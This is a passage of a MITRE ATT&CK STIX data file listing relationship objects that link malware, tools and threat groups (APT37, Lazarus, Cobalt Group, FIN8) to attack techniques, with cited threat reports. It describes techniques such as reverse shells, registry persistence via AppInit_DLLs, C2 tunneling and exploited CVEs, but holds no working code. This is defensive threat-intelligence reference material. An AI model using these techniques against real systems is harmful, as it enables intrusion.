APT37 Feb 2018", + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "relationship_type": "uses", + "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[yty](https://attack.mitre.org/software/S0248) packs a plugin with UPX.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--cbb27eed-2e1c-4675-a077-28765060b349", + "external_references": [ + { + "source_name": "ASERT Donot March 2018", + "description": "Schwarz, D., Sopko J. (2018, March 08). Donot Team Leverages New Modular Malware Framework in South Asia. Retrieved June 11, 2018.", + "url": "https://www.arbornetworks.com/blog/asert/donot-team-leverages-new-modular-malware-framework-south-asia/" + } + ], + "modified": "2019-04-25T00:09:23.209Z", + "source_ref": "malware--0817aaf2-afea-4c32-9285-4dcd1df5bf14", + "relationship_type": "uses", + "target_ref": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[TYPEFRAME](https://attack.mitre.org/software/S0263) can search directories for files on the victim\u2019s machine.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe1c5e06-ea4b-4286-af2d-984a095f7924", + "external_references": [ + { + "source_name": "US-CERT TYPEFRAME June 2018", + "description": "US-CERT. (2018, June 14). MAR-10135536-12 \u2013 North Korean Trojan: TYPEFRAME. Retrieved July 13, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-165A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--7ba0fc46-197d-466d-8b9f-f1c64d5d81e5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Dyre](https://attack.mitre.org/software/S0024) decrypts resources needed for targeting the victim.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--6d1074cb-a9eb-4237-b8b2-d823cfa1408b", + "external_references": [ + { + "source_name": "Symantec Dyre June 2015", + "description": "Symantec Security Response. (2015, June 23). Dyre: Emerging threat on financial fraud landscape. Retrieved August 23, 2018.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/dyre-emerging-threat.pdf" + } + ], + "modified": "2019-04-24T23:21:07.895Z", + "source_ref": "malware--63c2a130-8a5b-452f-ad96-07cf0af12ffe", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs process discovery using tasklist commands.", + "type": "relationship", + "created": "2017-05-31T21:33:27.033Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c7e6d4a6-8d99-4134-848a-f4f712eb4316", + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "modified": "2019-04-22T15:08:48.494Z", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "relationship_type": "uses", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can receive and execute commands with cmd.exe. It can also provide a reverse shell.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--9194756f-c455-427b-9fb0-4887c7bf3bf3", + "external_references": [ + { + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + }, + { + "source_name": "FireEye APT10 April 2017", + "description": "FireEye iSIGHT Intelligence. (2017, April 6). APT10 (MenuPass Group): New Tools, Global Campaign Latest Manifestation of Longstanding Threat. Retrieved June 29, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/apt10_menupass_grou.html" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[BACKSPACE](https://attack.mitre.org/software/S0031) achieves persistence by creating a shortcut to itself in the CSIDL_STARTUP directory.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--c327c333-46c4-4e23-81e0-2f0e07c24c11", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--fb261c56-b80e-43a9-8351-c84081e7213d", + "relationship_type": "uses", + "target_ref": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[ISMInjector](https://attack.mitre.org/software/S0189) uses the certutil command to decode a payload file.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--566d783a-2d86-4b9a-8ca0-5013de5f7fb4", + "external_references": [ + { + "source_name": "OilRig New Delivery Oct 2017", + "description": "Falcone, R. and Lee, B. (2017, October 9). OilRig Group Steps Up Attacks with New Delivery Documents and New Injector Trojan. Retrieved January 8, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2017/10/unit42-oilrig-group-steps-attacks-new-delivery-documents-new-injector-trojan/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5be33fef-39c0-4532-84ee-bea31e1b5324", + "relationship_type": "uses", + "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Gold Dragon](https://attack.mitre.org/software/S0249) enumerates registry keys with the command regkeyenum and obtains information for the Registry key HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f8705660-10d1-4eca-80c6-f2884cdecb36", + "external_references": [ + { + "source_name": "McAfee Gold Dragon", + "description": "Sherstobitoff, R., Saavedra-Morales, J. (2018, February 02). Gold Dragon Widens Olympics Malware Attacks, Gains Permanent Presence on Victims\u2019 Systems. Retrieved June 6, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--b9799466-9dd7-4098-b2d6-f999ce50b9a8", + "relationship_type": "uses", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Some data in [Remsec](https://attack.mitre.org/software/S0125) is encrypted using RC5 in CBC mode, AES-CBC with a hardcoded key, RC4, or Salsa20. Some data is also base64-encoded.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--43edea0b-efb8-41ab-bdda-f5aa62de439f", + "external_references": [ + { + "source_name": "Symantec Remsec IOCs", + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "relationship_type": "uses", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[POSHSPY](https://attack.mitre.org/software/S0150) encrypts C2 traffic with AES and RSA.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--b380ad90-2f3b-4f98-ae23-3dfdba448e0a", + "external_references": [ + { + "source_name": "FireEye POSHSPY April 2017", + "description": "Dunwoody, M.. (2017, April 3). Dissecting One of APT29\u2019s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html" + } + ], + "modified": "2019-04-24T23:41:40.079Z", + "source_ref": "malware--5e595477-2e78-4ce7-ae42-e0b059b17808", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Commands such as net view can be used in [Net](https://attack.mitre.org/software/S0039) to gather information about available remote systems.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--31ec568c-53c7-4dfb-8bfb-bfb7addca7ee", + "external_references": [ + { + "source_name": "Savill 1999", + "description": "Savill, J. (1999, March 4). Net.exe reference. Retrieved September 22, 2015.", + "url": "http://windowsitpro.com/windows/netexe-reference" + } + ], + "modified": "2019-04-24T23:39:01.565Z", + "source_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "relationship_type": "uses", + "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "If a victim meets certain criteria, [T9000](https://attack.mitre.org/software/S0098) uses the AppInit_DLL functionality to achieve persistence by ensuring that every user mode process that is spawned will load its malicious DLL, ResN32.dll. It does this by creating the following Registry keys: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\AppInit_DLLs \u2013 %APPDATA%\\Intel\\ResN32.dll and HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows\\LoadAppInit_DLLs \u2013 0x1.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--3d16b34f-f58b-4469-a0ef-7585f88d6001", + "external_references": [ + { + "source_name": "Palo Alto T9000 Feb 2016", + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "relationship_type": "uses", + "target_ref": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[APT18](https://attack.mitre.org/groups/G0026) actors leverage legitimate credentials to log into external remote services.", + "type": "relationship", + "created": "2017-05-31T21:33:27.060Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--1ac5bace-cdc2-4a1b-abad-d30ca0ed7f45", + "external_references": [ + { + "source_name": "RSA2017 Detect and Respond Adair", + "description": "Adair, S. (2017, February 17). Detecting and Responding to Advanced Threats within Exchange Environments. Retrieved March 20, 2017.", + "url": "https://www.rsaconference.com/writable/presentations/file_upload/hta-f02-detecting-and-responding-to-advanced-threats-within-exchange-environments.pdf" + } + ], + "modified": "2019-05-30T18:05:32.751Z", + "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", + "relationship_type": "uses", + "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) can execute shell commands using cmd.exe.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--283ba525-5180-461a-989b-87fc2f896ed7", + "external_references": [ + { + "source_name": "US-CERT KEYMARBLE Aug 2018", + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "relationship_type": "uses", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) malware SierraAlfa uses the Windows Management Instrumentation Command-line application wmic to start itself on a target system during lateral movement.", + "type": "relationship", + "created": "2017-05-31T21:33:27.069Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--64a17aba-5182-4666-bd37-dafa9d835fe8", + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "modified": "2019-04-29T18:13:08.953Z", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "relationship_type": "uses", + "target_ref": "attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Strike](https://attack.mitre.org/software/S0154) can inject a variety of payloads into processes dynamically chosen by the adversary.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--aa243e70-fba4-4f8a-8b5e-1ac826eac593", + "external_references": [ + { + "source_name": "cobaltstrike manual", + "description": "Strategic Cyber LLC. (2017, March 14). Cobalt Strike Manual. Retrieved May 24, 2017.", + "url": "https://cobaltstrike.com/downloads/csmanual38.pdf" + } + ], + "modified": "2019-06-06T19:04:39.419Z", + "source_ref": "tool--aafea02e-ece5-4bb2-91a6-3bf8c7f38a39", + "relationship_type": "uses", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-03-22T18:44:28.659Z", + "type": "relationship", + "created": "2017-05-31T21:33:27.048Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--a5015a35-a6a2-4289-8d79-79b583c23e63", + "external_references": [ + { + "source_name": "FireEye APT30", + "description": "FireEye Labs. (2015, April). APT30 AND THE MECHANICS OF A LONG-RUNNING CYBER ESPIONAGE OPERATION. Retrieved May 1, 2015.", + "url": "https://www2.fireeye.com/rs/fireye/images/rpt-apt30.pdf" + } + ], + "source_ref": "intrusion-set--f047ee18-7985-4946-8bfb-4ed754d3a0dd", + "relationship_type": "uses", + "target_ref": "malware--53cf6cc4-65aa-445a-bcf8-c3d296f8a7a2" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "Based on comparison of [Gazer](https://attack.mitre.org/software/S0168) versions, [Turla](https://attack.mitre.org/groups/G0010) made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.", + "type": "relationship", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21", + "external_references": [ + { + "source_name": "ESET Gazer Aug 2017", + "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + } + ], + "modified": "2019-07-14T21:04:44.978Z", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "relationship_type": "uses", + "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[menuPass](https://attack.mitre.org/groups/G0045) stages data prior to exfiltration in multi-part archives, often saved in the Recycle Bin.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--bbd29878-c16a-45ee-9785-78550f080d83", + "external_references": [ + { + "source_name": "PWC Cloud Hopper April 2017", + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper. Retrieved April 5, 2017.", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-report-final-v4.pdf" + } + ], + "modified": "2019-06-28T15:24:32.111Z", + "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f", + "relationship_type": "uses", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) collects the OS name, machine name, and architecture information.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--eade28d3-c5ce-453e-8e57-3262167c30be", + "external_references": [ + { + "source_name": "Unit 42 VERMIN Jan 2018", + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "relationship_type": "uses", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Proton](https://attack.mitre.org/software/S0279) kills security tools like Wireshark that are running.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--f298e191-bb50-48b2-ba3c-d432af8ec457", + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "modified": "2019-06-24T19:03:52.718Z", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "relationship_type": "uses", + "target_ref": "attack-pattern--2e0dd10b-676d-4964-acd0-8a404c92b044" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[JPIN](https://attack.mitre.org/software/S0201)'s installer/uninstaller component deletes itself if it encounters a version of Windows earlier than Windows XP or identifies security-related processes running.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--31bd2260-ef8d-4f69-a7a8-9388e0d721c9", + "external_references": [ + { + "source_name": "Microsoft PLATINUM April 2016", + "description": "Windows Defender Advanced Threat Hunting Team. (2016, April 29). PLATINUM: Targeted attacks in South and Southeast Asia. Retrieved February 15, 2018.", + "url": "https://download.microsoft.com/download/2/2/5/225BFE3E-E1DE-4F5B-A77B-71200928D209/Platinum%20feature%20article%20-%20Targeted%20attacks%20in%20South%20and%20Southeast%20Asia%20April%202016.pdf" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "source_ref": "malware--de6cb631-52f6-4169-a73b-7965390b0c30", + "relationship_type": "uses", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Cobalt Group](https://attack.mitre.org/groups/G0080) had exploited multiple vulnerabilities for execution, including Microsoft\u2019s Equation Editor (CVE-2017-11882), an Internet Explorer vulnerability (CVE-2018-8174), CVE-2017-8570, CVE-2017-0199, and CVE-2017-8759.", + "type": "relationship", + "created": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--7ec2b835-9c82-4a0a-9730-5f4b87e233f4", + "external_references": [ + { + "source_name": "Talos Cobalt Group July 2018", + "description": "Svajcer, V. (2018, July 31). Multiple Cobalt Personality Disorder. Retrieved September 5, 2018.", + "url": "https://blog.talosintelligence.com/2018/07/multiple-cobalt-personality-disorder.html" + }, + { + "source_name": "PTSecurity Cobalt Group Aug 2017", + "description": "Positive Technologies. (2017, August 16). Cobalt Strikes Back: An Evolving Multinational Threat to Finance. Retrieved September 5, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-2017-eng.pdf" + }, + { + "source_name": "PTSecurity Cobalt Dec 2016", + "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.", + "url": "https://www.ptsecurity.com/upload/corporate/ww-en/analytics/Cobalt-Snatch-eng.pdf" + }, + { + "source_name": "Proofpoint Cobalt June 2017", + "description": "Mesa, M, et al. (2017, June 1). Microsoft Word Intruder Integrates CVE-2017-0199, Utilized by Cobalt Group to Target Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/microsoft-word-intruder-integrates-cve-2017-0199-utilized-cobalt-group-target" + }, + { + "source_name": "RiskIQ Cobalt Nov 2017", + "description": "Klijnsma, Y.. (2017, November 28). Gaffe Reveals Full List of Targets in Spear Phishing Attack Using Cobalt Strike Against Financial Institutions. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-strike/" + }, + { + "source_name": "RiskIQ Cobalt Jan 2018", + "description": "Klijnsma, Y.. (2018, January 16). First Activities of Cobalt Group in 2018: Spear Phishing Russian Banks. Retrieved October 10, 2018.", + "url": "https://www.riskiq.com/blog/labs/cobalt-group-spear-phishing-russian-banks/" + }, + { + "source_name": "Crowdstrike Global Threat Report Feb 2018", + "description": "CrowdStrike. (2018, February 26). CrowdStrike 2018 Global Threat Report. Retrieved October 10, 2018.", + "url": "https://crowdstrike.lookbookhq.com/global-threat-report-2018-web/cs-2018-global-threat-report" + }, + { + "source_name": "TrendMicro Cobalt Group Nov 2017", + "description": "Giagone, R., Bermejo, L., and Yarochkin, F. (2017, November 20). Cobalt Strikes Again: Spam Runs Use Macros and CVE-2017-8759 Exploit Against Russian Banks. Retrieved March 7, 2019.", + "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/cobalt-spam-runs-use-macros-cve-2017-8759-exploit/" + } + ], + "modified": "2019-07-26T23:38:33.949Z", + "source_ref": "intrusion-set--dc6fe6ee-04c2-49be-ba3d-f38d2463c02a", + "relationship_type": "uses", + "target_ref": "attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[dsquery](https://attack.mitre.org/software/S0105) can be used to gather information on user accounts within a domain.", + "type": "relationship", + "created": "2017-12-14T16:46:06.044Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--44259d7d-e156-4e09-a401-ff62f0706cdd", + "external_references": [ + { + "source_name": "TechNet Dsquery", + "description": "Microsoft. (n.d.). Dsquery. Retrieved April 18, 2016.", + "url": "https://technet.microsoft.com/en-us/library/cc732952.aspx" + } + ], + "modified": "2019-04-25T00:08:30.189Z", + "source_ref": "tool--38952eac-cb1b-4a71-bad2-ee8223a1c8fe", + "relationship_type": "uses", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) has used the Plink utility to tunnel RDP back to C2 infrastructure.", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--e4c23aa3-edf1-4f6e-ae86-f709d7c306ee", + "external_references": [ + { + "source_name": "FireEye Know Your Enemy FIN8 Aug 2016", + "description": "Elovitz, S. & Ahl, I. (2016, August 18). Know Your Enemy: New Financially-Motivated & Spear-Phishing Group. Retrieved February 26, 2018.", + "url": "https://www2.fireeye.com/WBNR-Know-Your-Enemy-UNC622-Spear-Phishing.html" + } + ], + "modified": "2019-03-22T20:21:57.761Z", + "source_ref": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "relationship_type": "uses", + "target_ref": "attack-pattern--4b74a1d4-b0e9-4ef1-93f1-14ecc6e2f5b5" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "modified": "2019-04-25T12:24:57.565Z", + "type": "relationship", + "created": "2018-04-18T17:59:24.739Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "relationship--d5599a7e-d6a4-4de7-918a-84c3972c21ef", + "external_references": [ + { + "source_name": "Proofpoint Leviathan Oct 2017", + "description": "Axel F, Pierre T. (2017, October 16). Leviathan: Espionage actor spearphishes maritime and defense targets. Retrieved February 15, 2018.", + "url": "https://www.proofpoint.com/us/threat-insight/post/leviathan-espionage-actor-spearphishes-maritime-and-defense-targets" + } + ], + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "relationship_type": "uses", + "target_ref": "malware--06d735e7-1db1-4dbe-ab4b-acbe419f902b" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) ran a command to compile an archive of file types of interest from the victim user's directories.", + "type": "relationship", + "created": 